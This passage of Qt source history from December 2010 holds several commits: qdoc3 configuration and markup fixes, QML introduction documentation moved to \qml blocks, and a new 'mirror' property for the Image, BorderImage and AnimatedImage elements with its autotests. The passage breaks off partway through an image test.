b/tools/qdoc3/test/qt-html-online-styles.qdocconf @@ -18,10 +18,9 @@ HTML.scripts = scripts/functions.js \ scripts/jquery.js -# Files not referenced in any qdoc file (last four needed by qtdemo) +# Files not referenced in any qdoc file. # See also qhp.Qt.extraFiles -extraimages.HTML = qt-logo \ - trolltech-logo \ +extraimages.HTML = qt-logo.png \ bg_l.png \ bg_l_blank.png \ bg_ll_blank.png \ @@ -40,11 +39,7 @@ extraimages.HTML = qt-logo \ page.png \ page_bg.png \ sprites-combined.png \ - spinner.gif \ - stylesheet-coffee-plastique.png \ - taskmenuextension-example.png \ - coloreditorfactoryimage.png \ - dynamiclayouts-example.png + spinner.gif # Include the style sheets and scripts used. diff --git a/tools/qdoc3/test/qt-html-templates-online.qdocconf b/tools/qdoc3/test/qt-html-templates-online.qdocconf index 1d55cee..bc7dbd2 100644 --- a/tools/qdoc3/test/qt-html-templates-online.qdocconf +++ b/tools/qdoc3/test/qt-html-templates-online.qdocconf @@ -198,7 +198,7 @@ HTML.footer = \ " \n" -# Files not referenced in any qdoc file (last four are needed by qtdemo) +# Files not referenced in any qdoc file. # See also extraimages.HTML qhp.Qt.extraFiles = index.html \ images/bg_l.png \ @@ -220,10 +220,6 @@ qhp.Qt.extraFiles = index.html \ images/page_bg.png \ images/sprites-combined.png \ images/spinner.gif \ - images/stylesheet-coffee-plastique.png \ - images/taskmenuextension-example.png \ - images/coloreditorfactoryimage.png \ - images/dynamiclayouts-example.png \ scripts/functions.js \ scripts/jquery.js \ scripts/narrow.js \ diff --git a/tools/qdoc3/test/qt-html-templates.qdocconf b/tools/qdoc3/test/qt-html-templates.qdocconf index 67ce95a..8241fa0 100644 --- a/tools/qdoc3/test/qt-html-templates.qdocconf +++ b/tools/qdoc3/test/qt-html-templates.qdocconf @@ -47,31 +47,15 @@ HTML.footer = \ " as published by the Free Software Foundation.

    \n" \ "
    \n" \ -# Files not referenced in any qdoc file (last four are needed by qtdemo) +# Files not referenced in any qdoc file. # See also extraimages.HTML qhp.Qt.extraFiles = index.html \ - images/bg_l.png \ - images/bg_l_blank.png \ - images/bg_ll_blank.png \ - images/bg_ul_blank.png \ - images/header_bg.png \ - images/bg_r.png \ - images/box_bg.png \ + images/arrow_down.png \ images/breadcrumb.png \ images/bullet_gt.png \ images/bullet_dn.png \ images/bullet_sq.png \ images/bullet_up.png \ - images/arrow_down.png \ - images/feedbackground.png \ images/horBar.png \ - images/page.png \ - images/page_bg.png \ images/sprites-combined.png \ - images/spinner.gif \ - images/stylesheet-coffee-plastique.png \ - images/taskmenuextension-example.png \ - images/coloreditorfactoryimage.png \ - images/dynamiclayouts-example.png \ - style/narrow.css \ style/style.css -- cgit v0.12 From 77f069df4dcfd40a3d009f40e074ce1a5ac132c1 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 9 Dec 2010 19:38:01 +0100 Subject: Added hack to remove markup for opened comments at the end of snippets. --- tools/qdoc3/quoter.cpp | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/tools/qdoc3/quoter.cpp b/tools/qdoc3/quoter.cpp index 6dc7894..84c6fb1 100644 --- a/tools/qdoc3/quoter.cpp +++ b/tools/qdoc3/quoter.cpp @@ -235,10 +235,14 @@ QString Quoter::quoteSnippet(const Location &docLocation, const QString &identif QString lastLine = getLine(); int dIndex = lastLine.indexOf(delimiter); if (dIndex > 0) { + // The delimiter might be preceded on the line by other + // delimeters, so look for the first comment on the line. QString leading = lastLine.left(dIndex); dIndex = leading.indexOf(comment); if (dIndex != -1) leading = leading.left(dIndex); + if (leading.endsWith(QLatin1String("<@comment>"))) + leading.chop(10); if (!leading.trimmed().isEmpty()) t += leading; } -- cgit v0.12 From 297da17b94df6cd4a3b0c4ade56baf55310939e8 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 9 Dec 2010 19:39:35 +0100 Subject: Ensured that object definition identifiers are marked up as links. It may be worthwhile extending this to other UiQualifiedId nodes. --- tools/qdoc3/qmlmarkupvisitor.cpp | 14 +++++++++++--- tools/qdoc3/qmlmarkupvisitor.h | 3 ++- 2 files changed, 13 insertions(+), 4 deletions(-) diff --git a/tools/qdoc3/qmlmarkupvisitor.cpp b/tools/qdoc3/qmlmarkupvisitor.cpp index 6bede96..9916be2 100644 --- a/tools/qdoc3/qmlmarkupvisitor.cpp +++ b/tools/qdoc3/qmlmarkupvisitor.cpp @@ -183,7 +183,8 @@ void QmlMarkupVisitor::addExtra(quint32 start, quint32 finish) } void QmlMarkupVisitor::addMarkedUpToken( - QDeclarativeJS::AST::SourceLocation &location, const QString &tagName) + QDeclarativeJS::AST::SourceLocation &location, const QString &tagName, + const QHash &attributes) { if (!location.isValid()) return; @@ -193,7 +194,10 @@ void QmlMarkupVisitor::addMarkedUpToken( else if (cursor > location.offset) return; - output += QString(QLatin1String("<@%1>%2")).arg(tagName, protect(sourceText(location)), tagName); + output += QString(QLatin1String("<@%1")).arg(tagName); + foreach (const QString &key, attributes) + output += QString(QLatin1String(" %1=\"%2\"")).arg(key).arg(attributes[key]); + output += QString(QLatin1String(">%2")).arg(protect(sourceText(location)), tagName); cursor += location.length; } @@ -853,9 +857,13 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DebuggerStatement *statement) return true; } +// Elements and items are represented by UiObjectDefinition nodes. + bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectDefinition *definition) { - QDeclarativeJS::AST::Node::accept(definition->qualifiedTypeNameId, this); + QHash attributes; + attributes[QLatin1String("node")] = sourceText(definition->qualifiedTypeNameId->identifierToken); + addMarkedUpToken(definition->qualifiedTypeNameId->identifierToken, QLatin1String("link"), attributes); QDeclarativeJS::AST::Node::accept(definition->initializer, this); return false; } diff --git a/tools/qdoc3/qmlmarkupvisitor.h b/tools/qdoc3/qmlmarkupvisitor.h index 7a9ff22..60bc336 100644 --- a/tools/qdoc3/qmlmarkupvisitor.h +++ b/tools/qdoc3/qmlmarkupvisitor.h @@ -161,7 +161,8 @@ protected: private: void addExtra(quint32 start, quint32 finish); void addMarkedUpToken(QDeclarativeJS::AST::SourceLocation &location, - const QString &text); + const QString &text, + const QHash &attributes = QHash()); void addVerbatim(QDeclarativeJS::AST::SourceLocation first, QDeclarativeJS::AST::SourceLocation last = QDeclarativeJS::AST::SourceLocation()); QString sourceText(QDeclarativeJS::AST::SourceLocation &location); -- cgit v0.12 From 4b8b0321828bd1175534ff3b883956c5b97f9399 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 9 Dec 2010 19:41:10 +0100 Subject: Doc: Temporarily used \qml...\endqml markup for the QML introduction. --- doc/src/declarative/qdeclarativeintro.qdoc | 75 +++++++++++++----------------- 1 file changed, 32 insertions(+), 43 deletions(-) diff --git a/doc/src/declarative/qdeclarativeintro.qdoc b/doc/src/declarative/qdeclarativeintro.qdoc index 4e41fda..299ec73 100644 --- a/doc/src/declarative/qdeclarativeintro.qdoc +++ b/doc/src/declarative/qdeclarativeintro.qdoc @@ -45,7 +45,7 @@ technologies like HTML and CSS, but it's not required. QML looks like this: -\code +\qml import QtQuick 1.0 Rectangle { @@ -58,7 +58,7 @@ Rectangle { anchors.centerIn: parent } } -\endcode +\endqml Objects are specified by their type, followed by a pair of braces. Object types always begin with a capital letter. In the above example, there are @@ -71,18 +71,18 @@ value \c "pics/logo.png". The property and its value are separated by a colon. Properties can be specified one-per-line: -\code +\qml Rectangle { width: 100 height: 100 } -\endcode +\endqml or you can put multiple properties on a single line: -\code +\qml Rectangle { width: 100; height: 100 } -\endcode +\endqml When multiple property/value pairs are specified on a single line, they must be separated by a semicolon. @@ -96,17 +96,17 @@ and \l Image elements would not be available. In addition to assigning values to properties, you can also assign expressions written in JavaScript. -\code +\qml Rotation { angle: 360 * 3 } -\endcode +\endqml These expressions can include references to other objects and properties, in which case a \e binding is established: when the value of the expression changes, the property the expression has been assigned to is automatically updated to that value. -\code +\qml Item { Text { id: text1 @@ -117,7 +117,7 @@ Item { text: text1.text } } -\endcode +\endqml In the example above, the \c text2 object will display the same text as \c text1. If \c text1 is changed, \c text2 is automatically changed to the same value. @@ -142,12 +142,12 @@ your QML files. Comments can also be used to prevent the execution of code, which is sometimes useful for tracking down problems. -\code +\qml Text { text: "Hello world!" //opacity: 0.5 } -\endcode +\endqml In the above example, the Text object will have normal opacity, since the line opacity: 0.5 has been turned into a comment. @@ -164,14 +164,14 @@ Properties begin with a lowercase letter (with the exception of \l{Attached Prop QML supports properties of many types (see \l{QML Basic Types}). The basic types include int, real, bool, string, color, and lists. -\code +\qml Item { x: 10.5 // a 'real' property - ... + // ... state: "details" // a 'string' property focus: true // a 'bool' property } -\endcode +\endqml QML properties are what is known as \e type-safe. That is, they only allow you to assign a value that matches the property type. For example, the \c x property of item is a real, and if you try to assign @@ -193,7 +193,7 @@ The first Rectangle element below has an \e id, "myRect". The second Rectangle e own width by referring to \tt myRect.width, which means it will have the same \tt width value as the first Rectangle element. -\code +\qml Item { Rectangle { id: myRect @@ -205,7 +205,7 @@ Item { height: 200 } } -\endcode +\endqml Note that an \e id must begin with a lower-case letter or an underscore, and cannot contain characters other than letters, numbers and underscores. @@ -214,24 +214,24 @@ Note that an \e id must begin with a lower-case letter or an underscore, and can List properties look like this: -\code +\qml Item { children: [ Image {}, Text {} ] } -\endcode +\endqml The list is enclosed in square brackets, with a comma separating the list elements. In cases where you are only assigning a single item to a list, you can omit the square brackets: -\code +\qml Image { children: Rectangle {} } -\endcode +\endqml Items in the list can be accessed by index. See the \l{list}{list type} documentation for more details about list properties and their available operations. @@ -243,23 +243,23 @@ Each object type can specify one of its list or object properties as its default If a property has been declared as the default property, the property tag can be omitted. For example this code: -\code +\qml State { changes: [ PropertyChanges {}, PropertyChanges {} ] } -\endcode +\endqml can be simplified to: -\code +\qml State { PropertyChanges {} PropertyChanges {} } -\endcode +\endqml because \c changes is the default property of the \c State type. @@ -294,18 +294,7 @@ are of the form \e {Type.property} where \e Type is the type of the element that attaches \e property. For example: -\code -Component { - id: myDelegate - Text { - text: "Hello" - color: ListView.isCurrentItem ? "red" : "blue" - } -} -ListView { - delegate: myDelegate -} -\endcode +\snippet doc/src/snippets/declarative/introduction-qml/attachedproperties1.qml component and list view The \l ListView element attaches the \e ListView.isCurrentItem property to each delegate it creates. @@ -314,12 +303,12 @@ Another example of attached properties is the \l Keys element which attaches properties for handling key presses to any visual Item, for example: -\code +\qml Item { focus: true Keys.onSelectPressed: console.log("Selected") } -\endcode +\endqml \section2 Signal Handlers @@ -327,23 +316,23 @@ Signal handlers allow actions to be taken in response to an event. For instance the \l MouseArea element has signal handlers to handle mouse press, release and click: -\code +\qml MouseArea { onPressed: console.log("mouse button pressed") } -\endcode +\endqml All signal handlers begin with \e "on". Some signal handlers include an optional parameter, for example the MouseArea onPressed signal handler has a \e mouse parameter: -\code +\qml MouseArea { acceptedButtons: Qt.LeftButton | Qt.RightButton onPressed: if (mouse.button == Qt.RightButton) console.log("Right mouse button pressed") } -\endcode +\endqml */ -- cgit v0.12 From f2eca0c0380a0e06ccc7f98c8d112549ac9fa085 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Fri, 10 Dec 2010 11:24:49 +1000 Subject: Add 'mirror' property to Image element. Setting mirror to true will horizontally invert an image. This feature is part of the task to support RTL in QML (see QTBUG-11042). Task-number: QTBUG-15878 Reviewed-by: Joona Petrell --- .../graphicsitems/qdeclarativeanimatedimage.cpp | 12 ++- .../graphicsitems/qdeclarativeborderimage.cpp | 19 ++++ .../graphicsitems/qdeclarativeimage.cpp | 103 +++++++++++---------- .../graphicsitems/qdeclarativeimagebase.cpp | 20 ++++ .../graphicsitems/qdeclarativeimagebase_p.h | 5 + .../graphicsitems/qdeclarativeimagebase_p_p.h | 4 +- .../qdeclarativeanimatedimage/data/hearts.gif | Bin 0 -> 6524 bytes .../qdeclarativeanimatedimage/data/hearts.qml | 6 ++ .../tst_qdeclarativeanimatedimage.cpp | 103 +++++++++++++++++++++ .../qdeclarativeborderimage/data/heart200.png | Bin 0 -> 7943 bytes .../tst_qdeclarativeborderimage.cpp | 34 +++++++ .../qdeclarativeimage/tst_qdeclarativeimage.cpp | 86 +++++++++++++++++ 12 files changed, 343 insertions(+), 49 deletions(-) create mode 100644 tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.gif create mode 100644 tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.qml create mode 100644 tests/auto/declarative/qdeclarativeborderimage/data/heart200.png diff --git a/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp b/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp index 12a820f..abdfdfa 100644 --- a/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp @@ -86,6 +86,16 @@ QT_BEGIN_NAMESPACE \sa BorderImage, Image */ +/*! + \qmlproperty bool AnimatedImage::mirror + \since Quick 1.1 + + This property holds whether the image should be horizontally inverted + (effectively displaying a mirrored image). + + The default value is false. +*/ + QDeclarativeAnimatedImage::QDeclarativeAnimatedImage(QDeclarativeItem *parent) : QDeclarativeImage(*(new QDeclarativeAnimatedImagePrivate), parent) { @@ -126,7 +136,7 @@ void QDeclarativeAnimatedImage::setPaused(bool pause) \qmlproperty bool AnimatedImage::playing This property holds whether the animated image is playing. - By defaults, this property is true, meaning that the animation + By default, this property is true, meaning that the animation will start playing immediately. */ bool QDeclarativeAnimatedImage::isPlaying() const diff --git a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp index 0bf09ad..a25074a 100644 --- a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp @@ -200,6 +200,16 @@ QDeclarativeBorderImage::~QDeclarativeBorderImage() */ /*! + \qmlproperty bool BorderImage::mirror + \since Quick 1.1 + + This property holds whether the image should be horizontally inverted + (effectively displaying a mirrored image). + + The default value is false. +*/ + +/*! \qmlproperty url BorderImage::source This property holds the URL that refers to the source image. @@ -534,8 +544,15 @@ void QDeclarativeBorderImage::paint(QPainter *p, const QStyleOptionGraphicsItem bool oldAA = p->testRenderHint(QPainter::Antialiasing); bool oldSmooth = p->testRenderHint(QPainter::SmoothPixmapTransform); + QTransform oldTransform; if (d->smooth) p->setRenderHints(QPainter::Antialiasing | QPainter::SmoothPixmapTransform, d->smooth); + if (d->mirror) { + oldTransform = p->transform(); + QTransform mirror; + mirror.translate(d->width(), 0).scale(-1, 1.0); + p->setWorldTransform(mirror * oldTransform); + } const QDeclarativeScaleGrid *border = d->getScaleGrid(); int left = border->left(); @@ -561,6 +578,8 @@ void QDeclarativeBorderImage::paint(QPainter *p, const QStyleOptionGraphicsItem p->setRenderHint(QPainter::Antialiasing, oldAA); p->setRenderHint(QPainter::SmoothPixmapTransform, oldSmooth); } + if (d->mirror) + p->setWorldTransform(oldTransform); } QT_END_NAMESPACE diff --git a/src/declarative/graphicsitems/qdeclarativeimage.cpp b/src/declarative/graphicsitems/qdeclarativeimage.cpp index e07292b..68a1ecb 100644 --- a/src/declarative/graphicsitems/qdeclarativeimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeimage.cpp @@ -467,84 +467,93 @@ QRectF QDeclarativeImage::boundingRect() const to make sure that they aren't cached at the expense of small 'ui element' images. */ +/*! + \qmlproperty bool Image::mirror + \since Quick 1.1 + + This property holds whether the image should be horizontally inverted + (effectively displaying a mirrored image). + + The default value is false. +*/ + + void QDeclarativeImage::paint(QPainter *p, const QStyleOptionGraphicsItem *, QWidget *) { Q_D(QDeclarativeImage); if (d->pix.pixmap().isNull() ) return; - bool oldAA = p->testRenderHint(QPainter::Antialiasing); - bool oldSmooth = p->testRenderHint(QPainter::SmoothPixmapTransform); - if (d->smooth) - p->setRenderHints(QPainter::Antialiasing | QPainter::SmoothPixmapTransform, d->smooth); + int drawWidth = width(); + int drawHeight = height(); + bool doClip = false; + QTransform transform; + qreal widthScale = width() / qreal(d->pix.width()); + qreal heightScale = height() / qreal(d->pix.height()); if (width() != d->pix.width() || height() != d->pix.height()) { if (d->fillMode >= Tile) { - if (d->fillMode == Tile) { - p->drawTiledPixmap(QRectF(0,0,width(),height()), d->pix); - } else { - qreal widthScale = width() / qreal(d->pix.width()); - qreal heightScale = height() / qreal(d->pix.height()); - - QTransform scale; - if (d->fillMode == TileVertically) { - scale.scale(widthScale, 1.0); - QTransform old = p->transform(); - p->setWorldTransform(scale * old); - p->drawTiledPixmap(QRectF(0,0,d->pix.width(),height()), d->pix); - p->setWorldTransform(old); - } else { - scale.scale(1.0, heightScale); - QTransform old = p->transform(); - p->setWorldTransform(scale * old); - p->drawTiledPixmap(QRectF(0,0,width(),d->pix.height()), d->pix); - p->setWorldTransform(old); - } + if (d->fillMode == TileVertically) { + transform.scale(widthScale, 1.0); + drawWidth = d->pix.width(); + } else if (d->fillMode == TileHorizontally) { + transform.scale(1.0, heightScale); + drawHeight = d->pix.height(); } } else { - qreal widthScale = width() / qreal(d->pix.width()); - qreal heightScale = height() / qreal(d->pix.height()); - - QTransform scale; - if (d->fillMode == PreserveAspectFit) { if (widthScale <= heightScale) { heightScale = widthScale; - scale.translate(0, (height() - heightScale * d->pix.height()) / 2); + transform.translate(0, (height() - heightScale * d->pix.height()) / 2); } else if(heightScale < widthScale) { widthScale = heightScale; - scale.translate((width() - widthScale * d->pix.width()) / 2, 0); + transform.translate((width() - widthScale * d->pix.width()) / 2, 0); } } else if (d->fillMode == PreserveAspectCrop) { if (widthScale < heightScale) { widthScale = heightScale; - scale.translate((width() - widthScale * d->pix.width()) / 2, 0); + transform.translate((width() - widthScale * d->pix.width()) / 2, 0); } else if(heightScale < widthScale) { heightScale = widthScale; - scale.translate(0, (height() - heightScale * d->pix.height()) / 2); + transform.translate(0, (height() - heightScale * d->pix.height()) / 2); } } - if (clip()) { - p->save(); - p->setClipRect(QRectF(0, 0, d->mWidth, d->mHeight), Qt::IntersectClip); - } - scale.scale(widthScale, heightScale); - QTransform old = p->transform(); - p->setWorldTransform(scale * old); - p->drawPixmap(0, 0, d->pix); - p->setWorldTransform(old); - if (clip()) { - p->restore(); - } + transform.scale(widthScale, heightScale); + drawWidth = d->pix.width(); + drawHeight = d->pix.height(); + doClip = clip(); } - } else { - p->drawPixmap(0, 0, d->pix); } + QTransform oldTransform; + bool oldAA = p->testRenderHint(QPainter::Antialiasing); + bool oldSmooth = p->testRenderHint(QPainter::SmoothPixmapTransform); + if (d->smooth) + p->setRenderHints(QPainter::Antialiasing | QPainter::SmoothPixmapTransform, d->smooth); + if (doClip) { + p->save(); + p->setClipRect(QRectF(0, 0, d->mWidth, d->mHeight), Qt::IntersectClip); + } + if (d->mirror) + transform.translate(drawWidth, 0).scale(-1.0, 1.0); + if (!transform.isIdentity()) { + oldTransform = p->transform(); + p->setWorldTransform(transform * oldTransform); + } + + if (d->fillMode >= Tile) + p->drawTiledPixmap(QRectF(0, 0, drawWidth, drawHeight), d->pix); + else + p->drawPixmap(QRectF(0, 0, drawWidth, drawHeight), d->pix, QRectF(0, 0, drawWidth, drawHeight)); + if (d->smooth) { p->setRenderHint(QPainter::Antialiasing, oldAA); p->setRenderHint(QPainter::SmoothPixmapTransform, oldSmooth); } + if (doClip) + p->restore(); + if (!transform.isIdentity()) + p->setWorldTransform(oldTransform); } void QDeclarativeImage::pixmapChange() diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase.cpp b/src/declarative/graphicsitems/qdeclarativeimagebase.cpp index 37b0734..c745635 100644 --- a/src/declarative/graphicsitems/qdeclarativeimagebase.cpp +++ b/src/declarative/graphicsitems/qdeclarativeimagebase.cpp @@ -146,6 +146,26 @@ void QDeclarativeImageBase::setCached(bool cached) load(); } +void QDeclarativeImageBase::setMirror(bool mirror) +{ + Q_D(QDeclarativeImageBase); + if (mirror == d->mirror) + return; + + d->mirror = mirror; + + if (isComponentComplete()) + update(); + + emit mirrorChanged(); +} + +bool QDeclarativeImageBase::mirror() const +{ + Q_D(const QDeclarativeImageBase); + return d->mirror; +} + void QDeclarativeImageBase::load() { Q_D(QDeclarativeImageBase); diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase_p.h b/src/declarative/graphicsitems/qdeclarativeimagebase_p.h index d25f7c3..b6e55ec 100644 --- a/src/declarative/graphicsitems/qdeclarativeimagebase_p.h +++ b/src/declarative/graphicsitems/qdeclarativeimagebase_p.h @@ -60,6 +60,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeImageBase : public QDeclarativeItem Q_PROPERTY(bool asynchronous READ asynchronous WRITE setAsynchronous NOTIFY asynchronousChanged) Q_PROPERTY(bool cached READ cached WRITE setCached NOTIFY cachedChanged) // ### VERSIONING: Only in QtQuick 1.1 Q_PROPERTY(QSize sourceSize READ sourceSize WRITE setSourceSize NOTIFY sourceSizeChanged) + Q_PROPERTY(bool mirror READ mirror WRITE setMirror NOTIFY mirrorChanged) // ### VERSIONING: Only in QtQuick 1.1 public: ~QDeclarativeImageBase(); @@ -79,6 +80,9 @@ public: virtual void setSourceSize(const QSize&); QSize sourceSize() const; + virtual void setMirror(bool mirror); + bool mirror() const; + Q_SIGNALS: void sourceChanged(const QUrl &); void sourceSizeChanged(); @@ -86,6 +90,7 @@ Q_SIGNALS: void progressChanged(qreal progress); void asynchronousChanged(); void cachedChanged(); + void mirrorChanged(); protected: virtual void load(); diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h b/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h index a539649..950914f 100644 --- a/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h +++ b/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h @@ -71,7 +71,8 @@ public: progress(0.0), explicitSourceSize(false), async(false), - cached(true) + cached(true), + mirror(false) { QGraphicsItemPrivate::flags = QGraphicsItemPrivate::flags & ~QGraphicsItem::ItemHasNoContents; } @@ -84,6 +85,7 @@ public: bool explicitSourceSize : 1; bool async : 1; bool cached : 1; + bool mirror: 1; }; QT_END_NAMESPACE diff --git a/tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.gif b/tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.gif new file mode 100644 index 0000000..cfb55f2 Binary files /dev/null and b/tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.gif differ diff --git a/tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.qml b/tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.qml new file mode 100644 index 0000000..8729dd2 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.qml @@ -0,0 +1,6 @@ +import QtQuick 1.0 + +AnimatedImage { + source: "hearts.gif" + playing: false +} diff --git a/tests/auto/declarative/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp b/tests/auto/declarative/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp index 8cbe813..bd701e7 100644 --- a/tests/auto/declarative/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp +++ b/tests/auto/declarative/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp @@ -45,6 +45,7 @@ #include #include #include +#include #include "../shared/testhttpserver.h" #include "../../../shared/util.h" @@ -66,13 +67,28 @@ private slots: void stopped(); void setFrame(); void frameCount(); + void mirror_running(); + void mirror_notRunning(); + void mirror_notRunning_data(); void remote(); void remote_data(); void sourceSize(); void sourceSizeReadOnly(); void invalidSource(); + +private: + QPixmap grabScene(QGraphicsScene *scene, int width, int height); }; +QPixmap tst_qdeclarativeanimatedimage::grabScene(QGraphicsScene *scene, int width, int height) +{ + QPixmap screenshot(width, height); + screenshot.fill(); + QPainter p_screenshot(&screenshot); + scene->render(&p_screenshot, QRect(0, 0, width, height), QRect(0, 0, width, height)); + return screenshot; +} + void tst_qdeclarativeanimatedimage::play() { QDeclarativeEngine engine; @@ -132,6 +148,93 @@ void tst_qdeclarativeanimatedimage::frameCount() delete anim; } +void tst_qdeclarativeanimatedimage::mirror_running() +{ + // test where mirror is set to true after animation has started + + QDeclarativeEngine engine; + QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/hearts.qml")); + QDeclarativeAnimatedImage *anim = qobject_cast(component.create()); + QVERIFY(anim); + + QGraphicsScene scene; + int width = anim->property("width").toInt(); + int height = anim->property("height").toInt(); + scene.addItem(qobject_cast(anim)); + + QCOMPARE(anim->currentFrame(), 0); + QPixmap frame0 = grabScene(&scene, width, height); + anim->setCurrentFrame(1); + QPixmap frame1 = grabScene(&scene, width, height); + + anim->setCurrentFrame(0); + + QSignalSpy spy(anim, SIGNAL(frameChanged())); + anim->setPlaying(true); + + QTRY_VERIFY(spy.count() == 1); spy.clear(); + anim->setProperty("mirror", true); + + QCOMPARE(anim->currentFrame(), 1); + QPixmap frame1_flipped = grabScene(&scene, width, height); + + QTRY_VERIFY(spy.count() == 1); spy.clear(); + QCOMPARE(anim->currentFrame(), 0); // animation only has 2 frames, should cycle back to first + QPixmap frame0_flipped = grabScene(&scene, width, height); + + QTransform transform; + transform.translate(width, 0).scale(-1, 1.0); + QPixmap frame0_expected = frame0.transformed(transform); + QPixmap frame1_expected = frame1.transformed(transform); + + QCOMPARE(frame0_flipped, frame0_expected); + QCOMPARE(frame1_flipped, frame1_expected); +} + +void tst_qdeclarativeanimatedimage::mirror_notRunning() +{ + QFETCH(QUrl, fileUrl); + + QDeclarativeEngine engine; + QDeclarativeComponent component(&engine, fileUrl); + QDeclarativeAnimatedImage *anim = qobject_cast(component.create()); + QVERIFY(anim); + + QGraphicsScene scene; + int width = anim->property("width").toInt(); + int height = anim->property("height").toInt(); + scene.addItem(qobject_cast(anim)); + QPixmap screenshot = grabScene(&scene, width, height); + + QTransform transform; + transform.translate(width, 0).scale(-1, 1.0); + QPixmap expected = screenshot.transformed(transform); + + int frame = anim->currentFrame(); + bool playing = anim->isPlaying(); + bool paused = anim->isPlaying(); + + anim->setProperty("mirror", true); + screenshot = grabScene(&scene, width, height); + + QCOMPARE(screenshot, expected); + + // mirroring should not change the current frame or playing status + QCOMPARE(anim->currentFrame(), frame); + QCOMPARE(anim->isPlaying(), playing); + QCOMPARE(anim->isPaused(), paused); + + delete anim; +} + +void tst_qdeclarativeanimatedimage::mirror_notRunning_data() +{ + QTest::addColumn("fileUrl"); + + QTest::newRow("paused") << QUrl::fromLocalFile(SRCDIR "/data/stickmanpause.qml"); + QTest::newRow("stopped") << QUrl::fromLocalFile(SRCDIR "/data/stickmanstopped.qml"); +} + void tst_qdeclarativeanimatedimage::remote() { QFETCH(QString, fileName); diff --git a/tests/auto/declarative/qdeclarativeborderimage/data/heart200.png b/tests/auto/declarative/qdeclarativeborderimage/data/heart200.png new file mode 100644 index 0000000..5a31ae8 Binary files /dev/null and b/tests/auto/declarative/qdeclarativeborderimage/data/heart200.png differ diff --git a/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp b/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp index 5478145..c22cde2 100644 --- a/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp +++ b/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp @@ -43,6 +43,8 @@ #include #include #include +#include +#include #include #include @@ -77,6 +79,7 @@ private slots: void clearSource(); void resized(); void smooth(); + void mirror(); void tileModes(); void sciSource(); void sciSource_data(); @@ -218,6 +221,37 @@ void tst_qdeclarativeborderimage::smooth() delete obj; } +void tst_qdeclarativeborderimage::mirror() +{ + QString componentStr = "import QtQuick 1.0\nBorderImage { source: \"" SRCDIR "/data/heart200.png\"; smooth: true; width: 300; height: 300; border { top: 50; right: 50; bottom: 50; left: 50 } }"; + QDeclarativeComponent component(&engine); + component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); + QDeclarativeBorderImage *obj = qobject_cast(component.create()); + QVERIFY(obj != 0); + + int width = obj->property("width").toInt(); + int height = obj->property("height").toInt(); + + QGraphicsScene scene; + scene.addItem(qobject_cast(obj)); + QPixmap screenshot(width, height); + screenshot.fill(); + QPainter p_screenshot(&screenshot); + scene.render(&p_screenshot, QRect(0, 0, width, height), QRect(0, 0, width, height)); + + QTransform transform; + transform.translate(width, 0).scale(-1, 1.0); + QPixmap expected = screenshot.transformed(transform); + + obj->setProperty("mirror", true); + p_screenshot.fillRect(QRect(0, 0, width, height), Qt::white); + scene.render(&p_screenshot, QRect(0, 0, width, height), QRect(0, 0, width, height)); + + QCOMPARE(screenshot, expected); + + delete obj; +} + void tst_qdeclarativeborderimage::tileModes() { { diff --git a/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp b/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp index c811f62..27c7964 100644 --- a/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp +++ b/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp @@ -79,6 +79,8 @@ private slots: void resized(); void preserveAspectRatio(); void smooth(); + void mirror(); + void mirror_data(); void svg(); void geometry(); void geometry_data(); @@ -270,6 +272,90 @@ void tst_qdeclarativeimage::smooth() delete obj; } +void tst_qdeclarativeimage::mirror() +{ + QFETCH(int, fillMode); + + qreal width = 300; + qreal height = 250; + + QString src = QUrl::fromLocalFile(SRCDIR "/data/heart200.png").toString(); + QString componentStr = "import QtQuick 1.0\nImage { source: \"" + src + "\"; }"; + + QDeclarativeComponent component(&engine); + component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); + QDeclarativeImage *obj = qobject_cast(component.create()); + QVERIFY(obj != 0); + + obj->setProperty("width", width); + obj->setProperty("height", 